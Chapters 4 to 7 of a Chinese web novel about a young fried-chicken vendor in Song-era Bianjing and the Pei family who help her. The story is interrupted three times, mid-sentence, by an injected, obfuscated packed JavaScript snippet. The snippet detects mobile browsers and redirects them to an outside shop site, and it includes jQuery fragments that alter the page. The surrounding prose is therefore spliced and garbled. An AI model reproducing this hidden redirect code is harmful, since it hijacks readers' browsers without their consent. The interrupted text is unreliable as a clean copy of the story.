目光漫不经心扫过街道，虽说并未特意关注吧但裴律却也发现了今儿街上没见着那炸鸡小摊。 不是说今早都还在卖早点吗…… "话说那姜小娘子也是倒霉，才来了没几日吧就被胥使发现没交侵街钱没收摊具给赶走了。" "可不是么，手艺多好，我家闺女也好她家那一口，也不知后面还能不能吃上了，唉……" 车窗外悠悠传来交谈声，好巧不巧是三两个人在讨论那卖炸鸡的小娘子。 原来不是没来，而是被胥使赶走的吗…… "我都在她那买了好几次吃食了，每次去都只见她一个人忙活，唉，你说该不会她就没有其他家人了吧，难怪如此艰辛……" 裴律脑海不由响起周继明今早说的话。 裴律掀着窗帷的手放下，马车继续行驶，只是在路过一个冰雪冷元子的摊位时叫了停。 裴律："时安，你去，买一份砂糖冰雪冷元子来。" 时安躬身应是。应完立即跑去摊位，时安面上不显心里可奇怪了，公子从来不买外面这些吃食的。 待到回府，裴律却径直去了妹妹裴歆乐的院子。 小丫头正在屋里翻看着新淘来的话本子，看得津津有味，抬头看见裴律不由惊喜："阿兄，你回来啦。" "嗯。" 裴律随意坐下，随后提溜出一碗沁着水珠的冰雪元子在她跟前晃了晃，"喏，回来的路上给你带的。" "真的假的啊？" 裴歆乐对此意外不已，抬头震惊地看着自家兄长，"太阳打西边出来了？" "你不是最嫌外头东西不干净，还老说不准我吃外面这些吗？" 裴律："欸？" "你可别乱说啊。"裴律听小丫头如此说，伸出手指点了点。 "我是自己不吃，哪时有说过不准你吃了？" "最多时常提醒你多注意着些罢了啊。"裴律为自己声明。 裴律见小丫头乐滋滋就打开来，吃得眉眼欢快。 裴律展开折扇悠悠然扇着风，漫不经心开口： "今日本来还打算给你带那什么‘黄金炸鸡’来着的，你之前不是挺喜欢吗？只可惜了今儿没见着。" "啊？是吗？"裴歆乐听着兄长的话，手里动作顿了顿，舔舔唇，"那位姊姊近日每天都在呀，你是不是没找对位置呀！" 最近她常吃呢，还是喜欢一点也没腻。 "没呢，小姐，今儿我们一条街都走过了，没见着儿。" 时安这时大致明白自家公子这一番是为何了，开口替自家公子说道，"途中好巧听附近的人说了一嘴，说是被以没交侵街钱的由头给胥使没收摊具赶走了。" 说着叹息一声，微微摇头："也不知这‘炸鸡’小娘子，每日孤身一人辛苦谋生的，如今被赶走了今后该如何营生了。" "这样啊。"裴歆乐听着，吃冰雪元子的动作慢下来了，一手撑着脸颊一脸沉思。 4. 归还 初夏午后的阳光已然带着些微炽热，倾斜在汴京城的热闹街巷。 姜稚鱼刚到摊位，就见几个身着皂袍，头戴幞头，腰悬令牌官史形象的人朝她走来。 见几人走近来姜稚鱼笑呵呵招呼， "几位官爷，买炸鸡吗？" 几位胥史："……" "呵。还买炸鸡。" 其中为首的胥史出声，声音没多少温度，看年龄约莫四十上下，一张宽厚大饼脸上嵌着双小眼睛，打量着姜稚鱼。 "小娘子，你这来有些时日了吧？"王押司手拿铁尺，一下一下敲着掌心开口说道， "还没交上交‘侵街钱’吧？" 姜稚鱼闻言心里咯噔一下，又有些茫然，"什么‘侵街钱’？" "当然是你这侵占街道营生，需要上交的费用了。" "小娘子你这占据的可是相当好的地段了，一个月少说需得1贯钱。" "小娘子这每日生意这样好，一贯钱，不难吧？你现在交了我们立刻就走不打扰你继续做生意，如何？" 一贯钱就是一千文了，她这才来第六日，况且因着之前拖欠了三日房租，又恰逢苏大娘近日生病需得不少的银钱看病抓药的，她想着反正还会住上一段不少的时日且每日盈利还不错，交了一个月的房租，如今身上全部家当也就还有差不多六百文…… "这位官爷，我这才来没几日呀，每日收益也就够糊口罢了，哪能有这么多钱。" "您看，宽限几日？" 对面人多势众的，看样子又是比较官方的收费的样子，姜稚鱼也不敢硬刚，赶忙保证， "至多两日，我便上交！" "宽限？"王押司的语气陡转直下，更冷了，"朝廷的规矩，街面的法度，岂是你我能宽限的？" "律法也该有松紧宽度的吧。"一名年轻食客在旁出声， "人家一个小姑娘这每天的营生也不容易，这才来几日呀，你这一开口对人家来说就是不少的一笔钱了，这，也就宽限两日也没多大影响吧。" "是啊，是啊。"有人忍不住附和。 见居然有人出声为姜稚鱼说话，王押司端出一副越加威严的模样，厉色扫过众人。 继而手里的铁尺"啪"地一声重重敲在摊面上，震得盆碗一颤。 "别废话。" "你们这是妨碍公务！"他厉声喝道："依法不缴纳费用就没收摊具！驱离此地！" 他身后四名胥史闻言立马上前，不由分说就去夺摊具，姜稚鱼下意识去护，却被另一人隔离开，那人一把夺过她装有腌制鸡肉的陶盆。 "哐当"一声脆响，陶盆四分五裂，雪白的裹着面粉的肉块散了一地。 "你们……" 姜稚鱼没想到这些人如此蛮横无理粗暴执法，被眼前一幕刺地胸口剧烈起伏， "你们如此欺压平民百姓，还有没有王法了！" "我这可是依法办事，姜娘子我劝你识时务。"王押司凑近一步，压低声音带着威胁："再敢阻拦，便是妨碍公务，即使是带你到司里吃几天牢饭也是可行的。" 说完，领着抄着她全部家当的手下，扬长而去。 第一次遇到这样的事，经过这一遭姜稚鱼好一会儿没缓过来站在原地。 "姜小娘子别太难过了。"临近着卖豆团儿的婆婆眼看着小姑娘遭遇出声安慰，自知口舌笨拙说不出什么漂亮话只道："凑够了费用把摊具领回来再来就好，还是和往日一样红红火火的很快就赚回来了啊。" 说着塞了两个豆团儿给姜稚鱼，轻拍她的手，"吃点甜食，待心情好了好想办法。" 姜稚鱼盯着手里的圆滚滚的豆团。 狠狠咬下一口…… 罢了。 事已至此，先回家罢。 姜稚鱼到家还没一会儿，便听得有人敲响院门，咚咚的动静还不小。 姜稚鱼很有些疑惑，这个小院里也就自己和苏大娘母女，苏大娘母女自有钥匙，自己这整日忙着营生也没什么认识的人，总不能是找自己的，那便是找苏大娘她们的。 姜稚鱼走到院门，刚想说苏大娘她们不在。 就听门外已经高声喊道："姜娘子在吗？" 姜稚鱼，"……谁呀？" "姜娘子不必紧张，我这遭来有好事相商。" 姜稚鱼意外挑眉，拉开院门，倚靠着墙看向来人，"怎么说。" "姜娘子，是这样，我们掌柜的听说了你今日的遭遇很是同情，"对面徐徐道着来由。 "姜娘子现在的处境，不能够交上胥史说的侵街费用，且出摊的一应家伙什都被没收了，如今的境地想必很是困难。" 说到此顿了顿，觑着她的神色："所以，我家掌柜的怜悯小娘子的境遇，便想着与小娘子做一桩交易，以解小娘子的燃眉之急。" 姜稚鱼托腮询问，"什么交易。" "简单，姜娘子只需将你那炸鸡的方子卖给我们掌柜的，姜娘子便有了足以上交的费用，可领回一应摊具，日后姜娘子不论是做其它什么营生或是换个地方继续卖炸鸡也都随你，岂不两全其美。" 说得好像她占了好大便宜的样子，姜稚鱼倒是好奇了，"唔，你们打算出多少钱买我这方子？" 对面伸出一根手指晃了晃，"一千文。" 姜稚鱼："……一千文？" 姜稚鱼忍不住翻白眼，倒是打听得清楚，知道她需要的费用就是一千文？ 说这么大一通，还以为多大方，结果就一千文，就她就这几天每天净利至少是三四百文。 而且这才刚开始呢。 对方以为她这是走投无路了，来趁火打劫的？ 对方应该也是看她生意好才有此想法的，倒不知怎么有底气说出这么低的价格来了，就因为她现在看起来情况紧急？觉得低价格就能买到她的方子了？ 那倒是看错她了，她当初就靠着仅有的一百多文就把小摊给支起来且做的红火，她哪怕是从头再来或者做个其他什么营生也至于低价贱卖啊。 斩钉截铁吐出两个字："不卖。" "姜娘子你好好考虑考虑。" “……” "……要不然我们加一点？" 恰在此时，院门口又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092717|195503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人来了。 "请问姜娘子在吗？" 今儿还真是热闹，又是找她的？ 姜稚鱼转头看向来人，这次来得有三人，一位年轻女子和两位小厮打扮的，出声的是位那位女子，鹅蛋脸儿肤色白净，髻发梳得一丝不苟，髻边各点缀着小巧光泽温润的珍珠头花，通身上下干净利落。 "姜娘子。"几人走近，那位女子再次出声称呼她，得体地迎面而来，目光沉静，带着恰到好处的恭谨。 那女子上前来，嘴角噙着笑意，"可找着姜娘子了，我家小姐平日可是极爱姜娘子的炸鸡了，今儿没见着人，想念得紧，知晓姜娘子的事后，唯恐再吃不到姜娘子的炸鸡了……" 似是想到自家小姐贪嘴的事，语气略带打趣，更显亲切，"这不，先姜娘子一步垫了那‘侵街钱’，且交代将一应物品给领了来。" "待娘子生意顺遂，再还不迟。" 她说得坦荡，既解了急，又保全对方颜面，不提施恩，只说是垫付。 姜稚鱼这是真意外了，就这炸鸡在这儿能有这么大威力了？ 能得贵人相助到这份上？ 姜稚鱼面对这样的帮助难得的有点手足无措，连忙道谢。 "可否知晓是哪位府上小姐呢？" "娘子客气了，举手之劳，不必挂怀。" 一番客套，继而言辞清晰道出："我家小姐乃是积英巷裴府二小姐。" 做好事不留名可不是裴家一向的行事原则呢。 "这位娘子这会可有时间？可否等我一阵儿，我现在立刻做一份炸鸡给裴小姐带去！" 现如今她售卖的都是分部位售卖的，她这次做一整只炸鸡答谢那位好心的小姐！不是说想念得紧吗。 画眉听闻此言，就知姜娘子需得忙活好一遭的，赶忙摆手道："不必了麻烦了姜娘子，我家小姐还有要事等着我去办呢。" "来日方长，等娘子安顿好了，我家小姐定会再来光顾，今日我就先告辞了啊！" 她语速稍快，吩咐人将物品抬进院内，便利落转身快步离开了。 而最开始说着买方子的那人早在听到那姑娘说完来意后便灰溜溜地走了。 待画眉一行至巷子口，那阴凉处静静停着一辆青绸小车。 里面坐着一位豆蔻年华的女子，身材苗条，肤白胜雪，身着一身月白色软烟罗裙，自下而上极自然地晕染开淡淡的绯红。似一株含苞待放的荷，已见亭亭之姿。 通身的显出的是被精心呵护的娇贵。 正是裴歆乐。 裴歆乐一见画眉回来，便伸手挽上来，手腕上带着一对羊脂白玉镯叮当作响，伴随着她清脆声音响起， "画眉画眉，怎么样了，办妥了吗？" "当然办好了，小姐。" "那就好。" 她眼珠一转，"唔……那现在时辰还早呢，我们现在再去找其它地方玩会儿吧！" "听说啊近日惠民河的紫薇还有垂柳长得极好，今日天气也晴朗，可想阳光洒下来的河岸景色可好看了……" "说不定还能遇上些新奇玩意儿呢……" 5. 竞争 清风拂柳，绿雾凌烟。 在这柔和的绿幕中，有一片开得正盛的紫薇。裴歆乐与画眉行走其间，一阵微风吹过，粉紫相间的花瓣纷纷扬扬地飘落在两人发间。 "小姐，这紫薇开得当真好，咱们府上的几株怕是还没这般繁盛呢。"画眉说着为自家小姐整理被微风吹乱的发丝衣襟。 可不么，不枉她俩走这一遭。 裴歆乐游走一会儿便觉得有点累了，随意在河边找了块平整青石坐下。伸出细白手指时不时拨弄一下清凉碧绿的河水，一拨水面便晃着粉紫花瓣漾开的一圈一圈的波纹，煞是好看。 阳光透过柳隙在她层层叠叠的粉白裙裾上投下斑驳光影，轻轻晃动。 少倾，便听见有"漉梨浆——冰凉爽口——"的叫卖声远远传来。 裴歆乐顺着声音转头去瞧。 画眉见状出声询问："小姐可是走了许久有些渴了？" "婢子这就去为小姐买一碗来？" 顿了顿又叮嘱，"小姐可当心离水岸边远着些……" 眼看那卖饮子的摊位也不算太远，画眉得到自家小姐点头答复便起身去了。 裴歆乐瞅着画眉离开的背影，嘴角微微上扬。 画眉总这般小心，自己还不能知道么，况且面前的水面可很浅的。 她转过头，便见面前水面花瓣下有条金色的小鱼在慢悠悠地游来游去，阳光透过水波在鱼鳞上折射出细碎光芒。 玩心忽起，伸手一戳水面。 鱼儿受惊，忽地游走了，在水面留下一道浅浅的涟漪。 裴歆乐收回手。 没想它游开一点，又悠哉悠哉游回来了。 在她面前悠然自得地摇头摆尾。 裴歆乐眼睛一亮，身子微微前倾，屏住呼吸，再一戳—— 哪成想这一下却不知怎的，脚下一滑，身子失衡，接着"噗通"一声栽进了水里。 全身瞬间被河水包围，只余耳边河水灌进耳朵的嗡嗡声。 明明岸边的水看着挺浅的，谁知前面便是呈断崖似的深水区，整个人直往下沉去。 这里路过的人好像挺少的，画眉也不知还有多久回来。自己不会在这时间里就这么稀里糊涂地被淹死了吧…… "救……" 裴歆乐一张口，河水便立马灌进来呛得难以发声。 她胡乱扑腾着，脑子里还想自己可不要就这样被淹死呀，她舍不得爹娘，舍不得兄长，还舍不得这世上那么多好吃的好玩的东西，她还有好多话本子都还没看完呢…… 在她扑腾着胡思乱想之际感觉到自身后好像被人环住，接着渐渐带着她往上游去。 那人游得很快很稳，不多时，哗啦一声两人浮出水面。 "咳咳！" 成功到了地面上，呼吸到新鲜空气。 得救了。 接着一件外衫从上而下盖在了自己身上，带着淡淡的皂角清香。 裴歆乐抬眼去看眼前人。 夕阳淡淡的光晕透过柳枝，为那人渡上一层柔和光晕。他衣衫尽湿，洗得有些泛白的布料因浸水变成了深色，紧紧贴在身上，勾勒出精瘦的腰腹线条。 他跪坐在旁，微微喘息，水滴从他冷硬的下颚滑下，没入微敞湿透的衣领…… 沉静湿润里透着抹冷硬锐利。 像一柄，刚从水里捞起来的古剑。 ＊ 次日下午，姜稚鱼来到摊位，一眼便见斜对面，平时里卖煎白肠的位置，今日赫然挂着"胡记炸鸡，祖传秘制"的布帆正迎风飘扬。 这，看样子完全就是在模仿她的炸鸡了。 关键喊价还比她优惠。 低价恶意竞争。 姜稚鱼："……" 如果不是她有素质，怕是得迎面狠狠啐一声，再送句不要脸。 她深吸一口气，告诉自己：生意场上，模仿难免，关键看真本事。 "新出锅的香炸鸡，金丝柳只需六文钱……" "价格公道，童叟无欺——" 对面还在不停地奋力叫卖。 大多数食客都是习惯了一家的口味便不轻易挪窝的，姜稚鱼的摊位倒还是很多食客围着的。 但奈何生意太好，有那久等不到的，或者有贪图便宜的行人被那低价叫卖吸引过去。 不想，那第一个买来的人咬了一口脸色就变了，鸡块外壳又厚又硬，咬开里面肉质干柴，更有一种难以形容的陈年油垢味和浓重的腥膻味。 "这……这什么味儿？"食客皱着眉，怎么也咽不下，呸地一口吐掉。 "你这莫不是用了不知多久的陈年油吧？" "还有这肉，怕不是放坏了的肉□□？" 说罢他还又继续嚷嚷着，"你这跟人家姜娘子可比不得！简直一个天一个地！" 这话完全踩到了胡记摊主的痛处。 又联想到自己一直以来辛辛苦苦的出摊，生意却一直不好，如今好不容易咬牙投入本钱改行做这炸鸡还被当众如此说来。他眼一瞪，将笊篱往摊上一摔，指着食客就嚷： "放你娘的屁！能有什么味儿，自己舌头不灵光，怪得了谁？" "对面那娘儿们的鸡，指不定下了什么迷魂料，才把你们勾了去！" "还有！你如此所为，我还说你就是那对面派来的‘托儿’，在这儿胡说八道砸我招牌！" 不管如何，想到什么就一迭声反击。 反正是不承认自己贪图便宜惯常采用劣质的食材和反复使用的炸油问题，或者自己厨艺不如人。 这一闹，顿时吸引半条街的目光。 姜稚鱼只是内心笑笑，平静地抬头看了那人一眼，并不骂街搭话。 只是手下熟练地夹起炸好的金黄酥脆滋滋冒油的鸡块，用油纸熟练包好，递与客人时温声道："您拿好，小心烫。" 声音清亮温和，从容不迫。这样的从容气度，与对面气急败坏唾沫横飞的模样高下立见。 她心里清楚，饮食最重要的便是品质口味如何，吃进嘴里的食客自有判断，当然不必急赤白脸的与人争吵，丑态百出也搅了自己生意。 不久，姜稚鱼便见一位面熟的食客，便是上次那位为她说话，与胥史说着"律法也应宽严有度"的食客。 "上次在胥史面前，多谢郎君出言相助了，"姜稚鱼福福身，多包了一份金丝柳和金脆鸡腿赠送。 "这……" "这多不好意思啊，我也没帮上什么忙……" 那人说着扰扰头，很是羞愧，再三推辞不过才红着脸不好意思地收下。 至于快收摊的时候也同样地包了一份，给那豆团儿阿婆送去。 这是她来到这里收到的善意，内心很是感激，也只是回馈一点不足道的吃食罢了。 ＊ "姓姜的！你这黑心的毒妇！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092718|195503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' " "你还有脸继续在这儿卖你那害人的吃食！" 一声怒骂，直指姜稚鱼。 食客们纷纷回头，来人眼睛泛红，抱着一个额头布满虚汗，面色苍白双眼紧闭的孩子。 "各位乡亲看看！"那人声音带着哽咽，"我家孩儿昨日便是吃了这儿的劳什子的炸鸡，上吐下泻了一夜，今早更昏了过去！你这贱人用的是什么不干不净的食材，来害人啊！" 他一顿说完更是加大音量，"大家伙儿评评理，万不可任这害人的吃食继续黑心谋利！坑害更多人！" 他这一吼，顿时将附近所有目光都吸引过来，人群围拢，指指点点。 震惊有之，怀疑亦有之。 姜稚鱼对此情景心头骤紧，这事若是坐实了对生意的影响可是很大的，她放下手中笊篱，绕过摊位走上前。 她自已经手的每一道制作程序，都保证是干净的，食材也是每日采买新鲜的，不会有问题。 快速扫过眼前父子，可惜，每天的食客太多，她也不见得记得所有食客。 她不记得昨日有无这对父子来买过吃食。 不过孩子的样子看着确实挺严重。 "大哥，孩子病得重，当务之急得赶紧叫来大夫救治……" "呸！少在这假惺惺！"那汉子一口唾沫差点啐到她脚边，愤愤道，"看了大夫，说是吃了污秽之物，我家孩子昨日就是买的吃了炸鸡，便病了！定是你这摊子不干净，我儿有个什么好歹，我也不会让你好过！"说着抬手作势要动手。 "等等！" 就在这时，一个妇人挤开人群冲了进来，她气喘吁吁，一把抓住男人的胳膊。 "当家的，错了，你找错了！" "……孩子吃的，不是姜娘子的炸鸡……" 说到最后，声音渐小，面有愧色。 那丈夫一愣，伸出的胳膊停在半空，"什么？" 那妇人面上又急又愧，"……昨日孩子吵着要吃炸鸡不是，我……我看姜娘子这儿人太多，斜对面的胡记人少，还……还便宜……" 那男人瞪大眼，怒斥，"你……你这蠢婆娘！就贪便宜！我都说了要买姜娘子家的！姜娘子家的！没听人都说别家的难吃死了你还去买！" 那汉子狠声数落两句，接着猛地转头，对面胡记摊贩一开始还在幸灾乐祸看戏，一见情况不对，慌里慌张地收拾东西准备跑路，可惜哪里快得过抱着孩子快速冲过去的男子。 围观的众人也纷纷哗啦啦地转移围观阵地。 "罪魁祸首原来是你！害我险些冤枉了人！" "难怪你这卖这么便宜，原是谋财害命的！" 对面那摊主被当众围观，面皮涨红了，也想不出什么好法子，一跳脚，指着姜稚鱼，"你这专会卖乖的贱人！定是你设局害我！" 围观的众人已然有人看不下去，扬声道："呔！满嘴喷粪的腌臜货！自己心黑手脏，贯会血口喷人！" "我看你这倒打一耙污蔑人的本事才是祖传的吧！" "自己用了坏鸡烂油吃坏了人，倒攀扯旁人，真是个该杀千刀的奸商！" 至于那对夫妇，闹着要报官，害得他家孩子如此模样总得有个说法。 末了，还扬声对姜稚鱼一迭声道歉，说着对不住，冤枉了人。 一番混乱，胡记"祖传秘制"的布帆，不知何时已被扯落在地，踩满了凌乱脚印。 6. 少钱 酉时，夕阳堪堪坠在城楼檐角，一日里最后的阳光，将染得整条街道泛着金黄光晕。 姜稚鱼今日食材卖完的早，她心情颇好，一边哼着不成调的小曲一边取出提前腌制入味的一整只肥嫩全鸡，滑入油锅，随着"滋啦"一声响，热油激出焦香，待炸制金黄香脆捞出，扬手均匀撒上香料，一整只脆皮炸鸡便好了。 这次盛出时她并没有取用平日里给客人用的油纸，而是取出近日自己采买的青釉瓷盘盛入，再放入红漆食盒里，将炸鸡卧入雅致瓷盘中，更显诱人。 再带上提前做好的，辅以消暑解腻的碧涧豆儿糕茯苓糕，一并装盘。 一切妥当，再难得地小小奢侈一把叫了马车，赶往积英巷。 毕竟，出锅的炸鸡时间久了可会影响口感的。 到达积英巷裴府时，正是酉时三刻。 亦恰好是裴府晚膳时间。 膳房布置得雅致温馨，一家人依序而座，菜品精致陈列在桌，盏蒸羊、鲈鱼脍、蟹酿橙、银丝冷淘…… 裴律打量一眼今日的菜品，举着筷子的手忽地顿住，那几道菜品里赫然有道金黄酥脆的整鸡，有些眼熟。 "今日可是有在酒楼采买来的菜品？" "没有呀！"裴歆乐似是就等着他这句话，立时出声。 她抬着下巴，点点那只炸鸡，神色像只骄傲的小猫，"是我帮了一个卖吃食的姐姐。" "人家特地送来的谢礼！" "唷，是吗？怎么个事儿呢说来听听？"裴父捧场出声，在听裴歆乐说道的途中已然低声吩咐侍立在旁的小厮将他那雪浸桂花酒取来。 "正好啊，看着就香酥，我正好下酒！" 正在裴父乐呵呵的准备将桂花酒倒入琉璃盏时，杯口却被身侧伸来一只保养得宜的手悬悬止住。 "还喝酒？" 身旁的裴母侧过脸，斜睨裴父一眼。 "你每日不喝点酒，就浑身不自在不是？" "大夫怎么说的，说‘酒性湿热，直损胃气’，叫你胃不好少饮酒！" "哎哟，夫人——" 裴父暂时放下倒酒的手，顺手揽上裴母的肩，凑近裴母低声，"哪有每日啊？我已经老实有几日没喝了，而且这酒都没什么度数的！" "就喝一点点，两小盅好不好。" 说着手指伸出在裴母面前捏出一点点的手势。 再飞快看看儿女们一眼，掩唇悄声，"孩子们都在呢还有这么多人，夫人给留点面子……" 几番软语磨蹭，裴母终于松口，却是斩钉截铁，"就一杯。" "成！"裴父眉开眼笑，立马应承。 一杯就一杯，总比没得喝的好。 他美滋滋斟满一杯，夹起一块鸡肉咬下，酥脆外壳下，内里汁水丰盈，咸香满口。 别说，这叫炸鸡的玩意儿下酒还真不错！ 裴律裴歆乐两兄妹则眼观鼻鼻观心，默默吃着自己的，只要父亲在家类似讨酒喝的戏码常常上演，实在是见惯了。 晚膳临近尾声，裴父忽地想起什么，望向小女儿出声道，"对了，月儿，你近日在学刺绣不是？学得如何了？" 小女儿闺名小月儿。 "唔……"正吃着碧涧豆儿糕的裴歆乐没想裴父会问这个。这个问题嘛，裴歆乐有些支支吾吾，"还……还好吧。" "近日都跟着学绣的什么呢？" 顿了顿，却又摆摆手道，"算了……" 听他说算了，还没等裴歆乐松一口气。 他爹却一转头便吩咐，"我还是更期待亲眼见见我们月儿的绣品。" "画眉，你将小姐近日的绣品拿来我们瞧瞧！" 裴歆乐一惊，"不行！" 可惜，反对无效，实在是除她一人反对外，一屋子其他人都对她的绣品十分好奇。 待绣品一拿来，裴父手快，率先拿起那东西。 嗯，是一条手帕。 接着展开。 瞧着那方手帕上彩色丝线构成的图案，针法很是有些……活泼不羁！ "月儿呀，你这绣功……很是清奇呀！" 裴父接着眯眼瞧半天。 他一定可以在这团图案里猜出来绣的是什么！ "你这，绣的是一只鸡？"裴父很是疑惑，绣两只鸡干嘛呀！ "我看看，"裴律接着接过那方手帕，忍不住笑出来， "什么鸡？明明是鸭！" "什么鸡鸭的？"裴母也拿过手帕，就着明亮灯火端详一会儿，断言，"这一定是鸟儿！看这圆滚滚的身子！" "鹦鹉？" 裴歆乐在他们的话语里一张小脸儿越来越黑，一把夺过手帕，"什么鸡鸭鸟儿的。" "我绣的明明是鸳鸯！" "都还没绣完呢，谁让你们看了？" 小女儿一跺脚，一副气呼呼的模样。 一屋子人这才恍然大悟： 裴母："我就说是鸟儿嘛！" 话一出口又转头询问，"鸳鸯也是鸟儿哈？" "对对对！"裴父连忙附和。 "原来还没绣完呀！难怪，难认些也……也正常嘛哈哈哈！"裴父怕打击女儿的好学心连忙找补。 裴歆乐："……" 裴父接着抿了一口酒，试探出声，"不过，月儿呀，怎么突然喜欢上刺绣了呀？" 之前也不知自家女儿对这些感兴趣。 "就突然觉得有些趣味呗，还能为什么。" 裴歆月低着头小声回答。 不知是光线的原因还是什么，裴律觉着妹妹似乎在提及这个问题时脸有些微泛红。 裴律：天太热了？ 而裴父裴母两人相视一眼，颇有些意味深长。 ＊ 自煎白肠摊位那场风波之后，姜稚鱼好长时间便没见着那胡记摊主了。 想来是在这一块名声已臭了，不好再在这一块继续经营下去。 说不定又换了个地方？ 姜稚鱼每日里忙着自己的事儿，倒也没怎么在意。 只是这两日来，心情不太美妙。 近日来，总觉着卖出的食材量与到手的银钱对不上。这两日她便专程先算了下准备的食材大致应得的收益，与最终的实际收入一对，果真，每日所收到的银钱比应得的收益要少。 问题所在不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092719|195503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难想，因着她平日里就独自一人忙活，常有两手不得闲时，出于信任，也图个方便，又想着众目睽睽之下的，便放心地让食客自己找零。 如今看来倒是她心大了，食客们自己找零也放心地没盯着，直到银钱明显减少才警觉。 所以，这日姜稚鱼便多留意了一下，因着现目前还是只有她一人，忙不过时，虽是会让食客自己找零，但食客自己找零时她眼角余光便多加留意着那钱匣方向。 嘿，这一留意，可叫她开了眼。 那有的食客，趁她忙着的时候飞速放下的铜板明显不足数； 还有的，大概是想着她这人多她记不住分明就没付钱，一问还说自己付过了； 更有甚者，拿着的钱捏着并不放下，反倒在她那钱匣里找钱来…… 姜稚鱼："……" 我这么信任人，结果整我呢？ 反正只要一发现了，姜稚鱼也不留情直接扬声就喊： "那位穿褐色短打的小伙儿，你放的钱不够数！" "那位绿裙的娘子，你没付钱呢！" 或者是，"唉，大爷你付钱了吗？就在那找钱了？！" 她嗓音清亮，目光直直望过去，被点破的人，有的手足无措或是面红耳赤地补上钱，有的还想狡辩，却在周围众人齐刷刷的视线里败下阵来，悻悻掏钱。 饶是如此，姜稚鱼快收摊的时候点着当日收益，想起这事儿还很有些郁闷。 "姑娘，这里找帮工吗？" 哪想就在这时，姜稚鱼便听见这样句问话。 正在擦拭摊具的手一顿，抬头便见一位妇人，带着两岁左右的男童。 还没等姜稚鱼开口，那妇人便急道："姑娘，我什么活都能干，不怕苦不怕累，工钱我也没要求，有口吃的能糊口就行。" "家里男人在家好吃懒做的不顶事，我自己便出来找点活计，"说着望向那孩子，抬手抹上眼睛，"总不能让孩子饿肚子。" 姜稚鱼：平时确实感觉到有些忙不过来了，找个帮手势在必行。 不过…… "大姐，你做工孩子怎么办呢？" "你也知道，这油锅滚烫的，家伙什也多，小孩儿跑来跑去的，实在危险得很……" "不会不会，这小娘子不用担心，"那妇人赶忙摆手说道，"我事先已经与我大姐说好了，我做工时她那儿可帮我照看着孩子。" "小娘子大可放心孩子断不会来捣乱的！" 姜稚鱼见她言辞恳切，小孩也安排妥当，沉吟片刻便点了头，"行，你要是明日有时间便来上工吧。" 虽然对方说着不要求多少工钱，姜稚鱼还是与人仔细商议了工钱等细节。 随着相处，姜稚鱼便知妇人姓吴，平时里叫她吴姐，刚开始吴姐只是在摊位打杂，渐渐地生意越好，那吴姐便开始也着手帮着提前腌制之类的处理食材。 自有了吴姐后，姜稚鱼轻松了许多，一日收摊路过回家路上，目光路过街边各色店铺，一家成衣店吸引了她的目光，店门大开，里面陈列着当下时兴的衣裙，颜色丰富款式多样，在灯火下泛着光泽。 她不由在店门前驻足，多看了两眼。 7. 特殊 "姜姐姐，近来可好呀！" 姜稚鱼正埋首于氤氲的热气中，手中长筷熟练翻动着热锅里滋滋作响逐渐染上金黄的鸡块，忽闻一声熟稔的称呼在耳边响起。 手一顿，这是她来到这儿后第一次听见有人用如此熟稔亲切的语气唤她。 闻声抬头，便见油锅升腾的薄雾后面，一位俏丽的少女，明眸贝齿，一双杏眼又圆又亮，正笑吟吟地看着她。 还没等她疑惑，身旁画眉语带笑意开口了， "姜娘子，又见面了。" 她说完略带促狭地偏偏头看向自家小姐，眼神里写着：看吧，我就说自家小姐有的是机会来光顾的吧！ 姜稚鱼便了然，这是之前帮助自己的裴小姐。 她将手中长筷交给吴姐，让她帮忙看着点油锅。 姜稚鱼走出摊位，福了福身， "原来是裴二小姐。" "上次相助之事，还未好好谢过。" 裴歆乐小手一挥，"叫什么裴小姐，" "姜姐姐叫我名字就好啦！" 说着道出了自己的名字。 接着又凑近些笑道，"而且，姜姐姐不是已经谢过了吗？" 她说的是那送由姜稚鱼专程送上府的炸鸡和糕点。 裴歆乐原本只是喜欢这儿的炸鸡，觉着味道好，因着听了一嘴这位姐姐的遭遇出于一点善意帮了那么一点点小忙罢了。 过后也没放心上，谁想这位姜姐姐竟特意找着时间专程做了吃食送去裴府答谢，如此用心，使她对姜稚鱼的好感又添了几分，此刻相见话语间便不自觉熟稔了些。 姜稚鱼笑笑，是个俏皮可爱的女孩儿，从善如流道， "好。" 裴歆乐满意点头，在摊面上张望一番，好奇，"噫？姜姐姐，怎地没见上次你送来那样的呢？" 说着还比划一圈，"就是炸的完完整整的一整只鸡那样的。" "那是，那次可是专程为你做的呀。" 姜稚鱼眨眨眼，"到目前为止，可是独一份呢。" 